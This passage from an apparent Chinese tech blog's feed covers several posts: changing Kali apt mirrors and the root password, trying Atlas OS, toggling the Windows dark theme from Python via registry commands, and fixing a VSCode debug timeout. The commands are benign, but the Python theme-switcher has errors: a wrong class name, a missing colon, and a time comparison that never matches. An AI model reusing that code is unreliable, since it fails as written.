<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">vim ~/.bashrc</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>或</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">vim ~/.zshrc</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><div class="hint-container info">
<p class="hint-container-title">相关信息</p>
<p>vim 基础使用方法
| 操作 | 对应的命令 |
|</p>
</div>
]]></content>
    <category term="Linux"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">Linux更新源/修改root密码/更新系统</title>
    <id>https://www.hestudio.net/posts/Update-Linux-source-modify-root-password-update-system.html</id>
    <link href="https://www.hestudio.net/posts/Update-Linux-source-modify-root-password-update-system.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>Linux 安装完成之后，第一步优化是设置 root 密码，第二步是更换掉官方的源地址，因为官方源下载速度只有 10 几“kb”，第三步更新系统工具，保持系统工具是最新的。最基本的优化有以上三连。</p>
]]></summary>
    <content type="html"><![CDATA[<p>Linux 安装完成之后，第一步优化是设置 root 密码，第二步是更换掉官方的源地址，因为官方源下载速度只有 10 几“kb”，第三步更新系统工具，保持系统工具是最新的。最基本的优化有以上三连。</p>
<!-- more -->
<h3>修改 root 密码</h3>
<p>使用以下命令修改 root 密码</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">sudo passwd root</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><img src="https://img.hestudio.net/img/2022/12/11/6395a315edcac.jpg" alt="修改密码" tabindex="0" loading="lazy"><figcaption>修改密码</figcaption></figure>
<blockquote>
<p>在 Linux 输入密码时不会显示，即使你已经输入完了。</p>
</blockquote>
<h3>配置网络源</h3>
<h4>1. 使用 vim 打开'sources.list'</h4>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">vim /etc/apt/sources.list</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h4>2. 粘贴镜像源代码</h4>
<blockquote>
<p>这里以 kali 为例
其他 linux 系统的镜像源请自行百度。</p>
</blockquote>
<ol>
<li>先将官方的镜像源码注释</li>
<li>粘贴镜像源代码</li>
</ol>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">#阿里源</span>
<span class="line">deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib</span>
<span class="line">deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">#清华源</span>
<span class="line">deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free</span>
<span class="line">deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">#中科大</span>
<span class="line">deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib</span>
<span class="line">deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>把两条源地址添加在 sources.list 文件末尾，默认官方源是开启的只需要在“官方源”前面加【#】号就可以关闭。</p>
<h3>更新索引</h3>
<p>以 Debian<sup class="footnote-ref"><a href="#footnote1">[1]</a><a class="footnote-anchor" id="footnote-ref1"></a></sup>系 linux 为例</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">sudo apt-get update</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>更新软件</h3>
<p>以 Debian 系 linux 为例</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">sudo apt-get upgrade</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>更新系统</h3>
<p>以 Debian 系 linux 为例</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">sudo apt-get dist-upgrade</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="footnote1" class="footnote-item"><p>基于 Debian 的 Linux 发行版，一般使用<code>apt</code>作为软件包管理器，安装<code>.deb</code>格式的软件包。 <a href="#footnote-ref1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
]]></content>
    <category term="Linux"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">Atlas OS 初体验 - 从入门到放弃...</title>
    <id>https://www.hestudio.net/posts/atlasos-try.html</id>
    <link href="https://www.hestudio.net/posts/atlasos-try.html"/>
    <updated>2026-02-07T13:54:55.000Z</updated>
    <summary type="html"><![CDATA[<p>最近，在上网冲浪时看到了 <a href="https://atlasos.net/" target="_blank" rel="noopener noreferrer">Atlas OS</a>，相信你也知道这个东西。</p>
<p>AtlasOS 是一个<a href="https://github.com/Atlas-OS/Atlas" target="_blank" rel="noopener noreferrer">开源</a>免费的项目，旨在为游戏玩家提供最合适用于运行游戏的操作系统。它基于 Windows 10 定制而来，“精简”删除了各种非必要的系统组件，剥离了众多的 Windows 后台进程，从而为游戏节省出大量的系统资源。</p>
]]></summary>
    <content type="html"><![CDATA[<p>最近，在上网冲浪时看到了 <a href="https://atlasos.net/" target="_blank" rel="noopener noreferrer">Atlas OS</a>，相信你也知道这个东西。</p>
<p>AtlasOS 是一个<a href="https://github.com/Atlas-OS/Atlas" target="_blank" rel="noopener noreferrer">开源</a>免费的项目，旨在为游戏玩家提供最合适用于运行游戏的操作系统。它基于 Windows 10 定制而来，“精简”删除了各种非必要的系统组件，剥离了众多的 Windows 后台进程，从而为游戏节省出大量的系统资源。</p>
<!-- more -->
<p>所以我<a href="https://atlasos.net/downloads" target="_blank" rel="noopener noreferrer">下载</a>了一个来实际体验一下究竟有没有那么厉害。我下载的是它的 20H2 版本，也是他们推荐的版本。</p>
<figure><img src="https://img.hestudio.net/img/2022/12/11/6395c5629da61.png" alt="下载页面" tabindex="0" loading="lazy"><figcaption>下载页面</figcaption></figure>
<p>它的下载源在 Github 上，所以有的时候会出现无法下载的情况。这时我们需要 Watt Toolkit<sup class="footnote-ref"><a href="#footnote1">[1]</a><a class="footnote-anchor" id="footnote-ref1"></a></sup>。终于能下了，但是这速度有点...</p>
<figure><img src="https://img.hestudio.net/img/2022/12/11/6395d3fca51d8.png" alt="你的下载速度已经击败了全国1%的网友！" tabindex="0" loading="lazy"><figcaption>你的下载速度已经击败了全国1%的网友！</figcaption></figure>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="footnote1" class="footnote-item"><p>原 Steam++，官网地址是 <a href="https://steampp.net" target="_blank" rel="noopener noreferrer">https://steampp.net</a> <a href="#footnote-ref1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
]]></content>
    <category term="整活记录"/>
    <category term="Windows"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">在Python内实现Windows的深浅色切换</title>
    <id>https://www.hestudio.net/posts/dark-or-light-mode-for-windows-by-python.html</id>
    <link href="https://www.hestudio.net/posts/dark-or-light-mode-for-windows-by-python.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>众所周知，我们的 Windows 的开发者非常擅长“Touch Fish”。一个简简单单的自动切换深浅色和快速切换深浅色的功能它竟然没有给大家提供，有不少开发者做出了这类功能。这里，我将用 Python 代码讲解这一功能的实现过程。</p>
]]></summary>
    <content type="html"><![CDATA[<p>众所周知，我们的 Windows 的开发者非常擅长“Touch Fish”。一个简简单单的自动切换深浅色和快速切换深浅色的功能它竟然没有给大家提供，有不少开发者做出了这类功能。这里，我将用 Python 代码讲解这一功能的实现过程。</p>
<!-- more -->
<div class="hint-container info">
<p class="hint-container-title">相关信息</p>
<p>这里只讲解它的原理，图形方案交给你们设计。</p>
</div>
<h3>深浅色切换实现</h3>
<p>通过查阅资料可知，切换电脑深浅色可以通过修改注册表实现，这里提供两串代码</p>
<ul>
<li>切换深色模式</li>
</ul>
<div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">reg</span>.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize <span class="token parameter attr-name">/v</span> SystemUsesLightTheme <span class="token parameter attr-name">/t</span> REG_DWORD <span class="token parameter attr-name">/d</span> <span class="token number">0</span> <span class="token parameter attr-name">/f</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">reg</span>.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize <span class="token parameter attr-name">/v</span> AppsUseLightTheme <span class="token parameter attr-name">/t</span> REG_DWORD <span class="token parameter attr-name">/d</span> <span class="token number">0</span> <span class="token parameter attr-name">/f</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><ul>
<li>切换浅色模式</li>
</ul>
<div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">reg</span>.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize <span class="token parameter attr-name">/v</span> SystemUsesLightTheme <span class="token parameter attr-name">/t</span> REG_DWORD <span class="token parameter attr-name">/d</span> <span class="token number">1</span> <span class="token parameter attr-name">/f</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">reg</span>.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize <span class="token parameter attr-name">/v</span> AppsUseLightTheme <span class="token parameter attr-name">/t</span> REG_DWORD <span class="token parameter attr-name">/d</span> <span class="token number">1</span> <span class="token parameter attr-name">/f</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>因为从 Windows 10 v1903 开始，深色主题分为 Windows 模式（每个代码块上半部分）和应用模式（每个代码块下半部分），这时我们就需要判断 Windows 版本号。</p>
<p>我们打开<code>cmd.exe</code>,通过执行<code>ver</code>命令可以获取版本号。</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">C:\Users\hestudio&gt;ver</span>
<span class="line"></span>
<span class="line">Microsoft Windows [版本 10.0.22621.819]</span>
<span class="line"></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>我们需要的是<code>22621</code>这部分内容，所以我们需要获取这部分内容，代码是</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> os</span>
<span class="line">os<span class="token punctuation">.</span>popen<span class="token punctuation">(</span><span class="token string">"ver"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">:</span><span class="token number">33</span><span class="token punctuation">]</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>通过查阅资料可知，Windows 10 v1903 的版本号是<code>10.0.18362.xxx</code>,所以我们可以通过以下代码判断</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">ver <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>os<span class="token punctuation">.</span>popen<span class="token punctuation">(</span><span class="token string">"ver"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">:</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&gt;=</span> <span class="token number">18362</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>如果返回结果为<code>True</code>那么就执行两个指令，否则执行一个指令。</p>
<p>那么，这部分的完整代码为</p>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> os</span>
<span class="line"></span>
<span class="line"><span class="token comment"># 定义深浅色命令</span></span>
<span class="line">DARK_SYSTEM <span class="token operator">=</span> <span class="token string">"reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize /v SystemUsesLightTheme /t REG_DWORD /d 0 /f"</span></span>
<span class="line">DARK_APPS <span class="token operator">=</span> <span class="token string">"reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize /v AppsUseLightTheme /t REG_DWORD /d 0 /f"</span></span>
<span class="line">LIGHT_SYSTEM <span class="token operator">=</span> <span class="token string">"reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize /v SystemUsesLightTheme /t REG_DWORD /d 1 /f"</span></span>
<span class="line">LIGHT_APPS <span class="token operator">=</span> <span class="token string">"reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize /v AppsUseLightTheme /t REG_DWORD /d 1 /f"</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 检查版本</span></span>
<span class="line">ver <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>os<span class="token punctuation">.</span>popen<span class="token punctuation">(</span><span class="token string">"ver"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">:</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&gt;=</span> <span class="token number">18362</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 深色切换函数</span></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">dark</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    os<span class="token punctuation">.</span>system<span class="token punctuation">(</span>DARK_SYSTEM<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">if</span> ver<span class="token punctuation">:</span></span>
<span class="line">        os<span class="token punctuation">.</span>system<span class="token punctuation">(</span>DARK_APPS<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">return</span> <span class="token number">0</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 浅色切换函数</span></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">light</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    os<span class="token punctuation">.</span>system<span class="token punctuation">(</span>LIGHT_SYSTEM<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">if</span> ver<span class="token punctuation">:</span></span>
<span class="line">        os<span class="token punctuation">.</span>system<span class="token punctuation">(</span>LIGHT_APPS<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">return</span> <span class="token number">0</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><h3>实现自动切换</h3>
<p>实现自动切换可以通过计划任务控制。为了方便展示原理，我这里直接用函数表示，在实际运用中，这里通常是可以变化的。</p>
<p>首先我们需要实时获取现在的时间</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> time</span>
<span class="line"><span class="token keyword">import</span> threading</span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">time_get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">global</span> now_time</span>
<span class="line">    <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span></span>
<span class="line">        now_time <span class="token operator">=</span> time<span class="token punctuation">.</span>strftime<span class="token punctuation">(</span><span class="token string">'%H:%M'</span><span class="token punctuation">,</span> time<span class="token punctuation">.</span>localtime<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">get_time <span class="token operator">=</span> threading<span class="token punctuation">.</span>thread<span class="token punctuation">(</span>target<span class="token operator">=</span>time_get<span class="token punctuation">)</span></span>
<span class="line">get_time<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>通过获取预设直接调用函数</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">if</span> now_time <span class="token operator">==</span> <span class="token string">'6:00'</span><span class="token punctuation">:</span></span>
<span class="line">        light<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">elif</span> now_time <span class="token operator">==</span> <span class="token string">'20:00'</span></span>
<span class="line">        dark<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>当然，这里也可以实现自动切换壁纸，只需要在<code>if</code>内的<code>light()</code>或者<code>dark()</code>的底下利用<code>os.system()</code>执行对应的命令即可。有关切换壁纸的 cmd 命令，你可以在百度中查找。</p>
<p>最后将上面的代码总结一下</p>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> os</span>
<span class="line"><span class="token keyword">import</span> time</span>
<span class="line"><span class="token keyword">import</span> threading</span>
<span class="line"></span>
<span class="line"><span class="token comment"># 定义深浅色命令</span></span>
<span class="line">DARK_SYSTEM <span class="token operator">=</span> <span class="token string">"reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize /v SystemUsesLightTheme /t REG_DWORD /d 0 /f"</span></span>
<span class="line">DARK_APPS <span class="token operator">=</span> <span class="token string">"reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize /v AppsUseLightTheme /t REG_DWORD /d 0 /f"</span></span>
<span class="line">LIGHT_SYSTEM <span class="token operator">=</span> <span class="token string">"reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize /v SystemUsesLightTheme /t REG_DWORD /d 1 /f"</span></span>
<span class="line">LIGHT_APPS <span class="token operator">=</span> <span class="token string">"reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize /v AppsUseLightTheme /t REG_DWORD /d 1 /f"</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 检查版本</span></span>
<span class="line">ver <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>os<span class="token punctuation">.</span>popen<span class="token punctuation">(</span><span class="token string">"ver"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">:</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&gt;=</span> <span class="token number">18362</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 深色切换函数</span></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">dark</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    os<span class="token punctuation">.</span>system<span class="token punctuation">(</span>DARK_SYSTEM<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">if</span> ver<span class="token punctuation">:</span></span>
<span class="line">        os<span class="token punctuation">.</span>system<span class="token punctuation">(</span>DARK_APPS<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">return</span> <span class="token number">0</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 浅色切换函数</span></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">light</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    os<span class="token punctuation">.</span>system<span class="token punctuation">(</span>LIGHT_SYSTEM<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">if</span> ver<span class="token punctuation">:</span></span>
<span class="line">        os<span class="token punctuation">.</span>system<span class="token punctuation">(</span>LIGHT_APPS<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">return</span> <span class="token number">0</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 实时获取时间函数</span></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">time_get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">global</span> now_time</span>
<span class="line">    <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span></span>
<span class="line">        now_time <span class="token operator">=</span> time<span class="token punctuation">.</span>strftime<span class="token punctuation">(</span><span class="token string">'%H:%M'</span><span class="token punctuation">,</span> time<span class="token punctuation">.</span>localtime<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># 计划程序</span></span>
<span class="line"><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span></span>
<span class="line">    get_time <span class="token operator">=</span> threading<span class="token punctuation">.</span>thread<span class="token punctuation">(</span>target<span class="token operator">=</span>time_get<span class="token punctuation">)</span></span>
<span class="line">    get_time<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> now_time <span class="token operator">==</span> <span class="token string">'6:00'</span><span class="token punctuation">:</span></span>
<span class="line">            light<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">        <span class="token keyword">elif</span> now_time <span class="token operator">==</span> <span class="token string">'20:00'</span></span>
<span class="line">            dark<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><h3>快速切换</h3>
<p>你可以自主设计一个前端，通过调用<code>dark()</code>和<code>light()</code>切换对应的模式。</p>
<blockquote>
<p>而且，<strong>听说</strong>Windows11 在后续的更新中要加入快速切换的按钮。</p>
</blockquote>
]]></content>
    <category term="Python"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">修复在VSCode调试Python时的timeout问题</title>
    <id>https://www.hestudio.net/posts/fix-vscode-debug-python-time-out.html</id>
    <link href="https://www.hestudio.net/posts/fix-vscode-debug-python-time-out.html"/>
    <updated>2024-08-09T08:37:12.000Z</updated>
    <summary type="html"><![CDATA[<p>前几天我正在写一个新项目，但是在调试时弹出了“由于目标计算机积极拒绝，无法连接”的提示，我思考了许久，查阅了相关资料，现总结经验如下。</p>
]]></summary>
    <content type="html"><![CDATA[<p>前几天我正在写一个新项目，但是在调试时弹出了“由于目标计算机积极拒绝，无法连接”的提示，我思考了许久，查阅了相关资料，现总结经验如下。</p>
<!-- more -->
<figure><img src="https://img.hestudio.net/img/2022/12/11/6395a0a055837.png" alt="由于目标计算机积极拒绝，无法连接" tabindex="0" loading="lazy"><figcaption>由于目标计算机积极拒绝，无法连接</figcaption></figure>
<h3>一. 修改<code>launch.json</code>文件</h3>
<ol>
<li>打开 VSCode<code>.vscode/launch.json</code>文件</li>
<li>更改<code>console</code>为<code>externalTerminal</code></li>
</ol>
<div class="language-json line-numbers-mode" data-highlighter="prismjs" data-ext="json"><pre><code class="language-json"><span class="line"><span class="token property">"console"</span><span class="token operator">:</span> <span class="token string">"externalTerminal"</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><img src="https://img.hestudio.net/img/2022/12/11/6395a0a6bb468.png" alt="launch.json" tabindex="0" loading="lazy"><figcaption>launch.json</figcaption></figure>
<h3>二. 关闭“自动检测设置”</h3>
<p>此步适用于 Windows10/11，这里以 Windows11 为例</p>
<ol>
<li>打开设置，打开“网络和 Internet”</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2022/12/11/6395a0a20573c.png" alt="设置" tabindex="0" loading="lazy"><figcaption>设置</figcaption></figure>
<ol start="2">
<li>打开“代理”选项</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2022/12/11/6395a0a3abb45.png" alt="“代理”选项" tabindex="0" loading="lazy"><figcaption>“代理”选项</figcaption></figure>
<ol start="3">
<li>关闭“自动检测设置”</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2022/12/11/6395a0a542201.png" alt="关闭“自动检测设置”" tabindex="0" loading="lazy"><figcaption>关闭“自动检测设置”</figcaption></figure>
]]></content>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">手机如何连接到Windows</title>
    <id>https://www.hestudio.net/posts/how-to-link-to-windows.html</id>
    <link href="https://www.hestudio.net/posts/how-to-link-to-windows.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>之前，微软允许了部分手机上使用 Link to Windows。但是我们没有受支持的手机，也想使用这个功能。这篇文章就解决了这个问题。</p>
]]></summary>
    <content type="html"><![CDATA[<p>之前，微软允许了部分手机上使用 Link to Windows。但是我们没有受支持的手机，也想使用这个功能。这篇文章就解决了这个问题。</p>
<!-- more -->
<figure><img src="https://img.hestudio.net/img/2022/12/12/6396f0b252d58.png" alt="手机连接 APP 需要满足以下条件才能正常工作 - 来自巨硬公司" tabindex="0" loading="lazy"><figcaption>手机连接 APP 需要满足以下条件才能正常工作 - 来自巨硬公司</figcaption></figure>
<h3>需要什么？</h3>
<ul>
<li>谷歌框架</li>
<li>Android 7.1 及以上</li>
<li>Science Surfing <sup class="footnote-ref"><a href="#footnote1">[1]</a><a class="footnote-anchor" id="footnote-ref1"></a></sup></li>
<li>连接至 Windows</li>
</ul>
<h3>开始安装</h3>
<h4>1. 演示的设备</h4>
<ul>
<li>手机：OPPO R17（Android 10）</li>
<li>电脑：Windows 10 22H2 （10.0.19045.2301）</li>
</ul>
<h4>2. 手机安装软件</h4>
<p>关注<a href="/about/weixin.html" target="_blank">微信公众号 heStudio Community</a>回复 linktowindows 获取下载链接。</p>
